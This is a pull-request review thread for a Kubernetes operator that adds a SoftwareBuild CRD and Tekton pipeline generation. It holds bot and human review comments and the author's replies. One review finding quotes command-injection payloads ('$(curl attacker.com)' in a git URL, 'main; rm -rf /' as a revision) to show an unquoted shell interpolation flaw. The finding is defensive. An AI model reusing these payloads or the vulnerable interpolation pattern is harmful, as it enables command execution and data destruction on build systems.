feat: add SoftwareBuild CRD for multi-OS software builds

[vtz]

Summary by CodeRabbit

• New Features

  • Adds a SoftwareBuild custom resource and controller to run stage-driven container build pipelines (fetch/prebuild/build/postbuild/deploy) with Git or PVC sources, per-stage image/command overrides, timeouts, and artifact destination; operator config toggle with PVC size, timeout and default-image settings. CRDs and controller wiring included.

• Documentation

  • Added usage docs and sample manifests, including a Zephyr-focused example and a generic SoftwareBuild sample.

• Tests

  • Added unit and integration tests for APIs, pipeline/PipelineRun generation, and controller status mapping.

[coderabbitai]

📝 Walkthrough

Walkthrough

Adds a namespaced SoftwareBuild CRD and controller, extends OperatorConfig with SoftwareBuilds settings, generates Tekton Pipeline/PipelineRun and PVC handling, wires the controller in main, adds samples/docs, updates deepcopy/codegen, and includes unit and integration tests.

Changes

Cohort / File(s)	Summary
API & Codegen api/v1alpha1/softwarebuild_types.go, api/v1alpha1/operatorconfig_types.go, api/v1alpha1/softwarebuild_types_test.go, api/v1alpha1/zz_generated.deepcopy.go	Add SoftwareBuild API (spec/status, enums, kubebuilder markers); add SoftwareBuildsConfig to OperatorConfigSpec; add JSON round‑trip tests; extend autogenerated deepcopy methods to cover new types and pointer field. Attention: API validation annotations and new exported types.
Controller & Reconciliation internal/controller/softwarebuild/controller.go, internal/controller/operatorconfig/controller.go, internal/controller/test/..., cmd/main.go	New SoftwareBuild reconciler that creates/monitors Tekton PipelineRun; OperatorConfig deploy/cleanup helpers; controller wired into cmd/main.go; unit and integration controller tests added. Attention: ownerReferences, namespace resolution, and requeue timing.
Tekton Pipeline Generation internal/common/tasks/software_build.go, internal/common/tasks/software_build_test.go, internal/common/tasks/tasks.go	Generate five‑stage Tekton Pipeline and PipelineRun (params, workspaces, PVC handling, image defaulting, git sanitization); add BuildConfig.DefaultImage and helper. Extensive tests covering parameterization, securityContext, and PVC sizing. Attention: PVC vs volumeClaimTemplate selection, timeout/default image logic, git revision sanitization.
Samples & Documentation README.md, config/samples/automotive_v1alpha1_softwarebuild.yaml, config/samples/automotive_v1alpha1_softwarebuild_zephyr.yaml	Add README docs and two sample SoftwareBuild manifests (generic and Zephyr) demonstrating runtime image, sources, stages, destination, and timeouts.
Project & Manifests PROJECT, config/crd/kustomization.yaml, config/samples/*	Add Kubebuilder PROJECT entry for SoftwareBuild, include generated CRD in kustomize resources, and add sample manifests.
Controller Tests & Suite internal/controller/softwarebuild/controller_test.go, internal/controller/test/softwarebuild_controller_test.go, internal/controller/test/suite_test.go, internal/controller/test/testdata/tekton-pipeline-crd.yaml	Add unit tests for status mapping/helpers and Ginkgo integration tests; register Tekton scheme in test suite and include Tekton CRD test fixtures. Attention: test fixtures and Tekton types registration.

Sequence Diagram(s)

sequenceDiagram
    participant User
    participant K8s as Kubernetes API
    participant Controller as SoftwareBuild Controller
    participant OpConfig as OperatorConfig Controller
    participant TaskGen as Task Generator
    participant Tekton as Tekton API

    User->>K8s: Create SoftwareBuild
    K8s->>Controller: Reconcile request

    alt no PipelineRunName
        Controller->>OpConfig: Read OperatorConfig (build defaults)
        OpConfig-->>Controller: BuildConfig (PVCSize, timeout, DefaultImage)
        Controller->>TaskGen: Generate Pipeline & PipelineRun (params, workspace, SA)
        TaskGen-->>Controller: PipelineRun manifest
        Controller->>Tekton: Create PipelineRun
        Tekton-->>Controller: PipelineRun created
        Controller->>K8s: Patch SoftwareBuild.Status (PipelineRunName, Phase=Pending)
    else existing PipelineRunName
        Controller->>Tekton: Get PipelineRun (operator NS or SB NS)
        Tekton-->>Controller: PipelineRun status/conditions
        Controller->>Controller: Map PipelineRun -> SoftwareBuild.Status (Phase, Stages, FailureReason)
        Controller->>K8s: Update SoftwareBuild.Status
    end

Loading

Estimated code review effort

🎯 4 (Complex) | ⏱️ ~45 minutes

Possibly related PRs

• Add custom CA bundle support for builder tasks #144 — touches BuildConfig and task-generation logic overlapping software build pipeline generation.
• initial workspace #147 — modifies deepcopy for OperatorConfigSpec; direct overlap with generated deepcopy changes.
• add toggle for PVC usage in builds #187 — extends OperatorConfig/build plumbing; related to new SoftwareBuildsConfig and BuildConfig conversion.

Suggested reviewers

• bennyz
• bkhizgiy

Poem

🐰 I hopped through specs and sketched a plan,
Five stages align — fetch, prebuild, build, deploy, scan,
I spawn Tekton runs and watch them trace,
Artifacts tucked safe in a shared workspace,
Carrots and CRDs — cheers for the devs!

🚥 Pre-merge checks | ✅ 2 | ❌ 1

❌ Failed checks (1 warning)

Check name	Status	Explanation	Resolution
Docstring Coverage	⚠️ Warning	Docstring coverage is 4.76% which is insufficient. The required threshold is 80.00%.	Write docstrings for the functions missing them to satisfy the coverage threshold.

✅ Passed checks (2 passed)

Check name	Status	Explanation
Description Check	✅ Passed	Check skipped - CodeRabbit’s high-level summary is enabled.
Title check	✅ Passed	The title 'feat: add SoftwareBuild CRD for multi-OS software builds' directly and clearly summarizes the main change in the changeset—introducing a new SoftwareBuild custom resource definition to enable multi-OS software builds.

_{✏️ Tip: You can configure your own custom pre-merge checks in the settings.}

✨ Finishing Touches

🧪 Generate unit tests (beta)

• Create PR with unit tests

---

Thanks for using CodeRabbit! It's free for OSS, and your support helps us grow. If you like it, consider giving us a shout-out.

❤️ Share

• X
• Mastodon
• Reddit
• LinkedIn

_{Comment @coderabbitai help to get the list of available commands and usage tips.}

[coderabbitai]

Actionable comments posted: 5

🧹 Nitpick comments (4)

internal/controller/softwarebuild/controller.go (3)

62-69: Silent error handling on status update.

When a PipelineRun already exists, the status update error is silently discarded. If the update fails, subsequent reconciliation may behave incorrectly as the PipelineRunName won't be persisted.

♻️ Proposed fix to log or handle the error

 if err := r.Create(ctx, pr); err != nil {
 	if errors.IsAlreadyExists(err) {
 		sb.Status.PipelineRunName = pr.Name
-		_ = r.Status().Update(ctx, sb)
+		if updateErr := r.Status().Update(ctx, sb); updateErr != nil {
+			logger.Error(updateErr, "failed to update status after PipelineRun already exists")
+			return ctrl.Result{}, updateErr
+		}
 		return ctrl.Result{Requeue: true}, nil
 	}
 	return ctrl.Result{}, fmt.Errorf("creating PipelineRun: %w", err)
 }

Note: The logger variable needs to be passed to or accessible within createPipelineRun.

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/controller/softwarebuild/controller.go` around lines 62 - 69, The
status update error after detecting an existing PipelineRun is currently
ignored; in createPipelineRun, capture the error returned by
r.Status().Update(ctx, sb) when setting sb.Status.PipelineRunName = pr.Name and
either log it or return it so failures are not silent. Pass a logger into
createPipelineRun (or make logger accessible) and replace the blank assignment
"_ = r.Status().Update(...)" with proper error handling: check the returned
error from r.Status().Update, call logger.Error/Infof with context including
sb.Name and the error (or return a wrapped error) to ensure the update failure
is visible and reconciliation can react accordingly.

---

179-191: loadBuildConfig silently returns nil on errors.

If the OperatorConfig fetch fails for reasons other than "not found" (e.g., network issues, RBAC), the error is silently ignored and defaults are used. This could mask configuration issues.

♻️ Proposed fix to distinguish error types

 func (r *SoftwareBuildReconciler) loadBuildConfig(ctx context.Context, namespace string) *tasks.BuildConfig {
 	var opConfig automotivev1alpha1.OperatorConfig
 	if err := r.Get(ctx, types.NamespacedName{Name: "default", Namespace: namespace}, &opConfig); err != nil {
+		if !errors.IsNotFound(err) {
+			// Log unexpected errors for debugging
+			r.Log.Error(err, "failed to load OperatorConfig, using defaults")
+		}
 		return nil
 	}

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/controller/softwarebuild/controller.go` around lines 179 - 191, The
loadBuildConfig function currently swallows any error from r.Get; change it to
distinguish NotFound from other errors by using
k8s.io/apimachinery/pkg/api/errors (apierrors.IsNotFound): if the get returns
NotFound, return nil as before; if it returns any other error, log the error via
the reconciler logger (e.g., r.Log.Error(err, "failed to get OperatorConfig",
"name", "default", "namespace", namespace)) and return nil (or propagate the
error from the caller if preferred), ensuring you import apierrors and reference
the OperatorConfig fetch in loadBuildConfig to make the distinction clear.

---

164-172: Stage status always shows "Created" regardless of actual TaskRun state.

The syncStatusFromPipelineRun function sets all stages to State: "Created". This doesn't reflect the actual progress of individual tasks (e.g., Running, Succeeded, Failed).

Consider fetching individual TaskRun statuses to provide more accurate stage progress, or at minimum, derive state from the ChildStatusReference fields if available (e.g., check if the TaskRun has completed).

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/controller/softwarebuild/controller.go` around lines 164 - 172,
syncStatusFromPipelineRun currently sets every stage to State: "Created" using
pr.Status.ChildReferences, which hides real TaskRun progress; change it to
derive stage State and Message from each ChildStatusReference/TaskRun status
instead. For each cr in pr.Status.ChildReferences (and when present cr.Status or
ChildStatusReference fields), inspect completion fields (e.g., TaskRun condition
or CompletionTime) to map to "Running", "Succeeded", "Failed", etc., and set
automotivev1alpha1.SoftwareBuildStageStatus{Name: cr.PipelineTaskName, State:
<derived-state>, Message: <taskrun message or condition>}; if
ChildStatusReference lacks details, fetch the referenced TaskRun by name and
read its status to populate sb.Status.Stages so stages reflect actual task state
instead of always "Created".

internal/controller/test/softwarebuild_controller_test.go (1)

83-90: AfterEach assumes resource always exists, which may cause flaky tests.

If BeforeEach fails between the Get check and Create, or if a test modifies the resource state, AfterEach will fail on Expect(err).NotTo(HaveOccurred()). Consider using client.IgnoreNotFound:

♻️ Proposed fix

 AfterEach(func() {
   resource := &automotivev1alpha1.SoftwareBuild{}
   err := k8sClient.Get(ctx, typeNamespacedName, resource)
-  Expect(err).NotTo(HaveOccurred())
+  if err != nil {
+    return // Resource doesn't exist, nothing to clean up
+  }

   By("Cleanup the specific resource instance SoftwareBuild")
   Expect(k8sClient.Delete(ctx, resource)).To(Succeed())
 })

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@internal/controller/test/softwarebuild_controller_test.go` around lines 83 -
90, The AfterEach block assumes the SoftwareBuild resource always exists; change
the Get/expect logic to tolerate NotFound by using client.IgnoreNotFound on the
error returned from k8sClient.Get (or check apierrors.IsNotFound) before
asserting success, e.g., call err := k8sClient.Get(ctx, typeNamespacedName,
resource) and then Expect(client.IgnoreNotFound(err)).To(Succeed()) so deletion
(k8sClient.Delete) runs only when appropriate and the test won't fail if the
resource was already absent; update the AfterEach that references resource,
k8sClient.Get, typeNamespacedName and k8sClient.Delete accordingly.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Inline comments:
In `@internal/common/tasks/software_build.go`:
- Around line 117-124: The git clone command is built by interpolating untrusted
inputs (sb.Spec.Source.Git.Revision and sb.Spec.Source.Git.URL) into a shell
string which can lead to command injection; update the SoftwareBuild logic that
constructs gitClone/fetchCommand so it does not perform shell interpolation —
either validate and strictly whitelist allowed characters for revision and URL
before use, or (preferably) replace the string-concatenated git clone with a
safe invocation that supplies revision and URL as arguments (e.g., use a Tekton
git-clone task or an API/exec that passes args without shell parsing) and ensure
any fallback default for revision ("main") is applied after validation. Ensure
you change the code paths that set the local variables revision, gitClone and
fetchCommand so untrusted values are never directly injected into a shell
command.
- Around line 170-173: The code uses resource.MustParse(pvcSize) inside the
VolumeResourceRequirements Requests which will panic on invalid PVC size;
replace MustParse with resource.ParseQuantity(pvcSize) and handle the returned
(*Quantity, error) — if ParseQuantity returns an error, either return/propagate
that error from the surrounding function (so the controller can fail gracefully)
or fallback to a safe default (e.g., resource.MustParse("1Gi")) and log the bad
value; update the construction of corev1.ResourceList to use the parsed quantity
variable (or the default) instead of calling MustParse directly.

In `@internal/controller/operatorconfig/controller.go`:
- Around line 1028-1032: The call to tasks.GenerateSoftwareBuildPipeline
currently passes nil so OperatorConfig tuning fields are ignored; update the
call in controller.go to construct and pass a pipeline config using the
OperatorConfig values (read from the controller's config object) so that
spec.softwareBuilds.pvcSize, buildTimeoutMinutes, and defaultImage are forwarded
to GenerateSoftwareBuildPipeline instead of nil; locate the call to
tasks.GenerateSoftwareBuildPipeline(Task.SoftwareBuildPipelineName,
config.Namespace, nil) and replace the nil with a struct or map holding the PVC
size, timeout, and image derived from the OperatorConfig (types defined in
api/v1alpha1/operatorconfig_types.go) so GenerateSoftwareBuildPipeline receives
and applies those fields.
- Around line 289-294: The current reconcile swallows errors from
deploySoftwareBuilds and never cleans up when spec.softwareBuilds.enabled is
turned off; modify the controller logic around config.Spec.SoftwareBuilds so
that when SoftwareBuilds is non-nil and Enabled is true you call
r.deploySoftwareBuilds(ctx, config) and propagate any returned error (do not
only log it) so reconciliation retries, and when SoftwareBuilds is nil or
Enabled is false call a new r.cleanupSoftwareBuilds(ctx, config) (implement
cleanup to remove managed pipeline resources) and propagate cleanup errors as
well; ensure the functions referenced (deploySoftwareBuilds,
cleanupSoftwareBuilds, and any callers in controller.reconcile loop) return and
surface errors instead of swallowing them.

In `@internal/controller/softwarebuild/controller_test.go`:
- Around line 24-39: The helper prWithCondition currently ignores its status
parameter and hardcodes the condition Status to "True"; update prWithCondition
to use the provided status parameter for the condition's Status field (e.g.,
replace Status: "True" with Status: status or cast status to the appropriate
ConditionStatus type), and if the helper is not used anywhere in the tests,
either remove prWithCondition or add tests that use it.

---

Nitpick comments:
In `@internal/controller/softwarebuild/controller.go`:
- Around line 62-69: The status update error after detecting an existing
PipelineRun is currently ignored; in createPipelineRun, capture the error
returned by r.Status().Update(ctx, sb) when setting sb.Status.PipelineRunName =
pr.Name and either log it or return it so failures are not silent. Pass a logger
into createPipelineRun (or make logger accessible) and replace the blank
assignment "_ = r.Status().Update(...)" with proper error handling: check the
returned error from r.Status().Update, call logger.Error/Infof with context
including sb.Name and the error (or return a wrapped error) to ensure the update
failure is visible and reconciliation can react accordingly.
- Around line 179-191: The loadBuildConfig function currently swallows any error
from r.Get; change it to distinguish NotFound from other errors by using
k8s.io/apimachinery/pkg/api/errors (apierrors.IsNotFound): if the get returns
NotFound, return nil as before; if it returns any other error, log the error via
the reconciler logger (e.g., r.Log.Error(err, "failed to get OperatorConfig",
"name", "default", "namespace", namespace)) and return nil (or propagate the
error from the caller if preferred), ensuring you import apierrors and reference
the OperatorConfig fetch in loadBuildConfig to make the distinction clear.
- Around line 164-172: syncStatusFromPipelineRun currently sets every stage to
State: "Created" using pr.Status.ChildReferences, which hides real TaskRun
progress; change it to derive stage State and Message from each
ChildStatusReference/TaskRun status instead. For each cr in
pr.Status.ChildReferences (and when present cr.Status or ChildStatusReference
fields), inspect completion fields (e.g., TaskRun condition or CompletionTime)
to map to "Running", "Succeeded", "Failed", etc., and set
automotivev1alpha1.SoftwareBuildStageStatus{Name: cr.PipelineTaskName, State:
<derived-state>, Message: <taskrun message or condition>}; if
ChildStatusReference lacks details, fetch the referenced TaskRun by name and
read its status to populate sb.Status.Stages so stages reflect actual task state
instead of always "Created".

In `@internal/controller/test/softwarebuild_controller_test.go`:
- Around line 83-90: The AfterEach block assumes the SoftwareBuild resource
always exists; change the Get/expect logic to tolerate NotFound by using
client.IgnoreNotFound on the error returned from k8sClient.Get (or check
apierrors.IsNotFound) before asserting success, e.g., call err :=
k8sClient.Get(ctx, typeNamespacedName, resource) and then
Expect(client.IgnoreNotFound(err)).To(Succeed()) so deletion (k8sClient.Delete)
runs only when appropriate and the test won't fail if the resource was already
absent; update the AfterEach that references resource, k8sClient.Get,
typeNamespacedName and k8sClient.Delete accordingly.

🪄 Autofix (Beta)

Fix all unresolved CodeRabbit comments on this PR:

• Push a commit to this branch (recommended)
• Create a new PR with the fixes

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 27ca7ee8-dbe7-47f8-9a0b-5d91514fecca

📥 Commits

Reviewing files that changed from the base of the PR and between 2b0a115 and 07b76c4.

⛔ Files ignored due to path filters (3)

• config/crd/bases/automotive.sdv.cloud.redhat.com_operatorconfigs.yaml is excluded by !config/crd/bases/**
• config/crd/bases/automotive.sdv.cloud.redhat.com_softwarebuilds.yaml is excluded by !config/crd/bases/**
• config/rbac/role.yaml is excluded by !config/rbac/role.yaml

📒 Files selected for processing (16)

• PROJECT
• README.md
• api/v1alpha1/operatorconfig_types.go
• api/v1alpha1/softwarebuild_types.go
• api/v1alpha1/softwarebuild_types_test.go
• api/v1alpha1/zz_generated.deepcopy.go
• cmd/main.go
• config/crd/kustomization.yaml
• config/samples/automotive_v1alpha1_softwarebuild.yaml
• config/samples/automotive_v1alpha1_softwarebuild_zephyr.yaml
• internal/common/tasks/software_build.go
• internal/common/tasks/software_build_test.go
• internal/controller/operatorconfig/controller.go
• internal/controller/softwarebuild/controller.go
• internal/controller/softwarebuild/controller_test.go
• internal/controller/test/softwarebuild_controller_test.go

[raballew]

Automated code review

[raballew]

[CRITICAL] The pipeline uses inline TaskSpec in PipelineTask definitions instead of TaskRef pointing to versioned, signed task bundles. Inline task specs cannot be verified by Tekton Chains' signature verification, so SLSA provenance attestation is effectively impossible here. The tasks also produce no typed results (e.g., IMAGE_URL, IMAGE_DIGEST), and bash -lc "$(params.command)" allows arbitrary unauditable command execution.

Suggestion: Switch to TaskRef pointing to versioned, signed task bundles. Add result parameters for build outputs (artifact hashes, image digests) so Tekton Chains can generate provenance attestations.

[vtz]

Acknowledged — this is a valid concern for production supply-chain security.

For this initial iteration, inline TaskSpec is intentional: it keeps the implementation self-contained without requiring users to set up and maintain a separate OCI bundle registry for task images. The operator generates the pipeline dynamically from the CRD spec, and inline tasks are the natural fit for that pattern.

That said, I agree that for SLSA provenance and Tekton Chains integration, we'll need to move to TaskRef with versioned, signed bundles. I've created #200 to track this:

• Phase 1 (this PR): Inline TaskSpec — functional, self-contained, no external dependencies
• Phase 2 (Migrate SoftwareBuild pipeline from inline TaskSpec to signed TaskRef bundles #200): Extract tasks into signed OCI bundles, switch to TaskRef, add typed results (IMAGE_URL, IMAGE_DIGEST) for Chains attestation

The bash -lc "$(params.command)" pattern is consistent with how the existing ImageBuild pipeline works in this operator (it also executes user-provided commands). We can add command allowlisting or policy enforcement as part of #200.

Would you be OK with this phased approach?

[raballew]

#197 (#200 seems to be a duplicate of this) already works on chains integration. This code needs to be compatible with it.

[vtz]

Yes, it's partially a duplicate. Once #197 get merged, I will rework #200 so that both are on sync. #200 is broader than #197 though.

This PR introduces the build for other targets that was not supported. It shouldn't be perfect.

[vtz]

Acknowledged — this is tracked in #200, which will leverage the TSSF integration work (see ADR docs/adr/001-tssf-integration.md). Once Tekton Chains + Enterprise Contract are wired up on main, SoftwareBuild will migrate from inline TaskSpec to signed TaskRef bundles with typed result parameters (IMAGE_URL, IMAGE_DIGEST, etc.), matching the pattern established by #197. The inline approach here is intentionally a starting point.

[raballew]

[CRITICAL] Command injection vulnerability. fmt.Sprintf("git clone --branch %s --single-branch %s src\n", revision, sb.Spec.Source.Git.URL) directly interpolates user-provided values into a shell command without any quoting or escaping. The URL validation pattern (^https?://|^git@) only checks the prefix, so a crafted URL like https://evil.com/repo$(curl attacker.com) or a revision like main; rm -rf / would execute arbitrary commands.

Suggestion: Quote all interpolated values and use -- to separate options from arguments: fmt.Sprintf("git clone --branch '%s' --single-branch -- '%s' src\n", revision, url). Also add a CRD validation pattern for the revision field.

[vtz]

Agreed — this is a real vulnerability. Will fix by shell-quoting all interpolated values and tightening the URL validation regex.

[raballew]

[HIGH] Non-deterministic PipelineRun naming breaks idempotency. fmt.Sprintf("%s-%d", sb.Name, time.Now().Unix()) generates a new name on each reconciliation. If the status update at controller.go:81-83 fails after PipelineRun creation, the next reconciliation creates another PipelineRun with a different name, and the AlreadyExists check won't catch it because the name differs. This creates orphaned PipelineRuns.

Suggestion: Use a deterministic name, e.g., fmt.Sprintf("%s-gen%d", sb.Name, sb.Generation), or persist the intended name in status before creating the PipelineRun.

[vtz]

Agreed. Will switch to a deterministic name using sb.Generation, e.g. fmt.Sprintf("%s-gen%d", sb.Name, sb.Generation). This eliminates orphaned PipelineRuns on status update failures.

[raballew]

[HIGH] Disabling softwareBuilds in OperatorConfig does not clean up the pipeline. The reconciler deploys the software-build-pipeline when softwareBuilds.enabled is true but has no cleanup path when disabled. There is no cleanupSoftwareBuilds function.

Suggestion: Add a cleanupSoftwareBuilds method that deletes the software-build-pipeline Pipeline, and call it when softwareBuilds is nil or enabled is false.

[vtz]

Agreed. Will add a cleanupSoftwareBuilds method that deletes the software-build-pipeline Pipeline, and call it when softwareBuilds is nil or enabled is false.

[raballew]

[HIGH] Timeout from SoftwareBuild spec is not propagated to PipelineRun. SoftwareBuildSpec.TimeoutSeconds is declared in the API but never used in GenerateSoftwareBuildPipelineRun. The PipelineRun has no Spec.Timeouts set, and BuildConfig.BuildTimeoutMinutes is also loaded but never applied.

Suggestion: Set pr.Spec.Timeouts when TimeoutSeconds > 0, falling back to config.BuildTimeoutMinutes.

[vtz]

Agreed. Will set pr.Spec.Timeouts from TimeoutSeconds when > 0, falling back to config.BuildTimeoutMinutes.

[raballew]

[MEDIUM] No test for PVC source workspace binding. buildWorkspaceBinding has a PVC branch that is not tested. Only the VolumeClaimTemplate default path is covered.

Suggestion: Add a test with Source.Type = "pvc" verifying the workspace uses PersistentVolumeClaim binding.

[vtz]

Agreed. Tracked in #203 — will add a test with Source.Type = "pvc" verifying the PVC workspace binding.

[raballew]

i think you addressed this in one of your latest commits. seems fine for now.

[vtz]

You're right

[raballew]

[MEDIUM] Tests verify constant values rather than behavior. TestSoftwareBuildPhaseConstants and TestSoftwareBuildSourceTypeConstants only verify that constants equal expected strings. These cannot fail unless the constants themselves are changed, providing minimal value.

Suggestion: Replace with behavioral tests, such as serialization round-trips or CRD validation behavior.

[vtz]

Partially agreed. The constant tests do catch accidental renames, but higher-value behavioral tests are needed. Tracked in #203.

[vtz]

This is also done.

[raballew]

[MEDIUM] syncStatusFromPipelineRun handles three concerns: phase mapping, condition setting, and stage status building. This makes it harder to test and maintain.

Suggestion: Extract into separate functions: mapPipelineRunPhase, buildStageStatuses, and handle artifact URI separately.

[vtz]

Agreed. Will extract into mapPipelineRunPhase and buildStageStatuses for better testability.

[raballew]

[MEDIUM] Container image tags are mutable, undermining build reproducibility. Runtime.Image accepts mutable tags like ubuntu:24.04. The same tag can point to different images over time, so two builds from the same SoftwareBuild spec can produce different results.

Suggestion: Resolve tags to digests at reconciliation time and record the resolved digest in status for reproducibility.

[vtz]

Partially agreed. For v1, will record the resolved image digest in status at reconciliation time for reproducibility. Enforcing digest-only inputs would be too restrictive for the UX. Full image digest resolution is tracked in #200.

[raballew]

Tracking it does not resolve the problem. I would like to see this addressed before merging but am also curious about @bennyz thoughts on this. I think we have workspaces to run arbitrary commands - pipelines should be deterministic.

[vtz]

Again, this code is not final! It's the first implementation. I reiterate that this will be improved with #200 (and #197).

---

long version:
Arbitrary shell commands are a deliberate design choice, not an oversight. SoftwareBuild targets a different audience than ImageBuild — embedded developers who bring their own toolchains (Zephyr's west, Yocto's bitbake, plain make, etc.). We cannot enumerate every build system into a typed API.

"Pipelines should be deterministic" applies at the CI/CD level, where the commands are checked into source control (the SoftwareBuild CR YAML). The CRD doesn't make them less deterministic than a Tekton Pipeline with inline scripts — it structures them into well-known stages with per-stage image override, timeout, and lifecycle tracking.

Workspaces serve a different purpose: interactive development environments. A build pipeline needs reproducible, ephemeral execution with artifact outputs — which is what SoftwareBuild provides.

That said, when Tekton Chains integration lands (#200), command execution will happen inside signed task bundles with SLSA provenance, giving us auditability even for arbitrary commands.

[raballew]

[LOW] ServiceAccountName is declared in the API but not wired to PipelineRun. SoftwareBuildRuntimeSpec.ServiceAccountName exists but GenerateSoftwareBuildPipelineRun never sets Spec.TaskRunTemplate.ServiceAccountName.

Suggestion: Wire the field when non-empty so that builds can run under a user-specified service account.

[vtz]

Agreed. Will wire ServiceAccountName to PipelineRun.Spec.TaskRunTemplate.ServiceAccountName when non-empty.

[raballew]

The original issue seems resolved but ServiceAccountName now allows arbitrary SA reference without validation or documentation.

The optional ServiceAccountName field is propagated directly to the PipelineRun's TaskRunTemplate.ServiceAccountName with no validation. A user with SoftwareBuild RBAC can reference a high-privilege SA, and the build container runs with that SA's token. This is inherent to any CRD that creates pods/PipelineRuns.

Suggestion: document that granting SoftwareBuild creation RBAC is equivalent to granting pod creation rights within the target namespace and an allowlist in OperatorConfig.

[vtz]

I suggest tracking this as a bug of documentation and this will get fixed as soon as this lands into main.

[vtz]

Good point. This is inherent to any CRD that creates pods on behalf of users — granting SoftwareBuild RBAC is equivalent to granting pod creation rights in the namespace. We can document this in the CRD's godoc and add an allowlist in OperatorConfig as a follow-up. The current behavior is identical to how ImageBuild handles SA references.

[coderabbitai]

🧹 Nitpick comments (2)

api/v1alpha1/softwarebuild_types_test.go (2)

64-100: Add assertions for all populated PVC-source fields.

Path is set in the fixture but never asserted, so regressions in SoftwareBuildPVCSource.Path serialization would pass unnoticed.

✅ Suggested assertion additions

 	if roundTripped.Spec.Source.PVC.ClaimName != "my-pvc" {
 		t.Errorf("claimName: got %q, want my-pvc", roundTripped.Spec.Source.PVC.ClaimName)
 	}
+	if roundTripped.Spec.Source.PVC.Path != "/data" {
+		t.Errorf("path: got %q, want /data", roundTripped.Spec.Source.PVC.Path)
+	}
 	if roundTripped.Spec.Source.Git != nil {
 		t.Error("git source should be nil for PVC source type")
 	}
+	if roundTripped.Spec.Source.HostPath != nil {
+		t.Error("hostPath source should be nil for PVC source type")
+	}

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@api/v1alpha1/softwarebuild_types_test.go` around lines 64 - 100, The test
TestSoftwareBuildSpec_PVCSource_JSONRoundTrip is missing an assertion for the
populated SoftwareBuildPVCSource.Path field; after checking
roundTripped.Spec.Source.PVC != nil and ClaimName, add an assertion that
roundTripped.Spec.Source.PVC.Path equals "/data" (and keep the existing checks
for Source.Type and Git == nil) to ensure Path serialization/deserialization is
validated.

---

102-135: Assert ArtifactURI and stage state to complete status coverage.

The fixture sets ArtifactURI and State, but current checks skip them.

✅ Suggested assertion additions

 	if roundTripped.PipelineRunName != "build-gen1" {
 		t.Errorf("pipelineRunName: got %q", roundTripped.PipelineRunName)
 	}
+	if roundTripped.ArtifactURI != "/workspace/artifacts" {
+		t.Errorf("artifactURI: got %q, want /workspace/artifacts", roundTripped.ArtifactURI)
+	}
 	if len(roundTripped.Stages) != 2 {
 		t.Fatalf("stages: got %d, want 2", len(roundTripped.Stages))
 	}
 	if roundTripped.Stages[1].Name != "build" {
 		t.Errorf("stage[1] name: got %q, want build", roundTripped.Stages[1].Name)
 	}
+	if roundTripped.Stages[1].State != "Completed" {
+		t.Errorf("stage[1] state: got %q, want Completed", roundTripped.Stages[1].State)
+	}

🤖 Prompt for AI Agents

Verify each finding against the current code and only fix it if needed.

In `@api/v1alpha1/softwarebuild_types_test.go` around lines 102 - 135, In
TestSoftwareBuildStatus_JSONRoundTrip, add assertions to verify ArtifactURI and
each stage's State on the roundTripped value: assert roundTripped.ArtifactURI ==
"/workspace/artifacts" and that roundTripped.Stages[0].State and
roundTripped.Stages[1].State equal "Completed" (use t.Errorf/t.Fatalf similar to
the existing checks); this ensures the JSON marshal/unmarshal preserved
SoftwareBuildStatus.ArtifactURI and SoftwareBuildStageStatus.State for the
SoftwareBuildStatus/SoftwareBuildStageStatus types.

🤖 Prompt for all review comments with AI agents

Verify each finding against the current code and only fix it if needed.

Nitpick comments:
In `@api/v1alpha1/softwarebuild_types_test.go`:
- Around line 64-100: The test TestSoftwareBuildSpec_PVCSource_JSONRoundTrip is
missing an assertion for the populated SoftwareBuildPVCSource.Path field; after
checking roundTripped.Spec.Source.PVC != nil and ClaimName, add an assertion
that roundTripped.Spec.Source.PVC.Path equals "/data" (and keep the existing
checks for Source.Type and Git == nil) to ensure Path
serialization/deserialization is validated.
- Around line 102-135: In TestSoftwareBuildStatus_JSONRoundTrip, add assertions
to verify ArtifactURI and each stage's State on the roundTripped value: assert
roundTripped.ArtifactURI == "/workspace/artifacts" and that
roundTripped.Stages[0].State and roundTripped.Stages[1].State equal "Completed"
(use t.Errorf/t.Fatalf similar to the existing checks); this ensures the JSON
marshal/unmarshal preserved SoftwareBuildStatus.ArtifactURI and
SoftwareBuildStageStatus.State for the
SoftwareBuildStatus/SoftwareBuildStageStatus types.

---

ℹ️ Review info

⚙️ Run configuration

Configuration used: Path: .coderabbit.yaml

Review profile: CHILL

Plan: Pro

Run ID: 5ca889c7-fc92-4eb5-864d-b3797fd1e98d

📥 Commits

Reviewing files that changed from the base of the PR and between 07b76c4 and b8127f1.

📒 Files selected for processing (3)

• api/v1alpha1/softwarebuild_types_test.go
• internal/common/tasks/software_build_test.go
• internal/controller/softwarebuild/controller_test.go

✅ Files skipped from review due to trivial changes (1)

• internal/common/tasks/software_build_test.go

🚧 Files skipped from review as they are similar to previous changes (1)

• internal/controller/softwarebuild/controller_test.go

[coderabbitai]

Actionable comments posted: 3

🧹 Nitpick comments (3)

api/v1alpha1/softwarebuild_types.go (1)

111-118: Stages fields are all required — consider adding +optional markers as agreed.

Per past review discussion, the fixed stages were to have +optional markers added so users can omit stages. Currently all five stages (Fetch, Prebuild, Build, Postbuild, Deploy) are required fields.

♻️ Proposed fix to make stages optional

 // SoftwareBuildPipelineStages groups the five sequential stages.
 type SoftwareBuildPipelineStages struct {
-	Fetch     SoftwareBuildStageSpec `json:"fetch"`
-	Prebuild  SoftwareBuildStageSpec `json:"prebuild"`
-	Build     SoftwareBuildStageSpec `json:"build"`
-	Postbuild SoftwareBuildStageSpec `json:"postbuild"`
-	Deploy    SoftwareBuildStageSpec `json:"deploy"`
+	// +optional
+	Fetch     SoftwareBuildStageSpec `json:"fetch,omitempty"`
+	// +optional
+	Prebuild  SoftwareBuildStageSpec `json:"prebuild,omitempty"`
+	// +optional
+	Build     SoftwareBuildStageSpec `json:"build,omitempty"`
+	// +optional
+	Postbuild SoftwareBuildStageSpec `json:"postbuild,omitempty"`
+	// +optional
